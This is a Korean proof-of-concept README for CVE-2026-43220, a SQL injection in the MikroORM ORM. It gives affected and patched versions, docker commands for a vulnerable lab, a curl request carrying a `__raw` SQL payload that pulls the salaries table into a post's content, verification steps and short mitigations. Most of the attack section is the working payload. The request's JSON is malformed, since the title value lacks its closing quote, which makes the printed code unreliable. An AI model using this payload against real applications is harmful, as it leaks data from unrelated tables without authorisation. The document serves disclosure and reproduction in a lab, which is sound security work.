
MikroORM의 SQL 인젝션 취약점
★ CVE-2026-43220 MikroORM SQL 인젝션 PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220은 널리 사용되는 TypeScript/Node.js ORM 프레임워크인 MikroORM의 SQL 인젝션 취약점입니다.
__raw속성을 포함하는 사용자 제공 값이 검증 없이 Custom Type 컬럼에 전달되면, MikroORM의isRaw()검사가 이를 신뢰할 수 있는 내부 Raw SQL 표현식으로 식별하고, 공격자가 제어하는sql값을 타입 변환이나 정제 없이 생성된 쿼리에 직접 삽입하여 임의 SQL이 의도치 않게 실행되도록 합니다.
| Category | Version |
|---|
| 취약 | MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5 |
| 패치됨 | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
취약한 환경을 시작한 후, 아래 단계에 따라 공격을 재현하세요.
__raw를 포함한 악성 페이로드로 요청 전송Custom Type 컬럼을 대상으로 하는 __raw 속성을 포함한 JSON 본문을 전송합니다.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
API가 오류 없이 성공적인 응답을 반환하는지 확인합니다. 이는 MikroORM이 악성 페이로드를 유효한 값으로 수락했음을 나타냅니다.
생성된 게시물의 content 필드에 salaries 테이블의 쿼리 결과
(예: Alice: 5000 / Bob: 7000 / ...)가 포함되어 있는지 확인합니다.
이는 관련 없는 테이블의 데이터가 오류나 접근 제어 위반 없이
응답에 조용히 삽입되었음을 확인시켜 줍니다.
isRaw()에 출처 검증을 도입하여 외부에서 제공된 __raw 속성을 거부합니다.__raw와 같은 예상치 못한 속성을 거부하는 화이트리스트 기반 입력 검증을 적용하세요.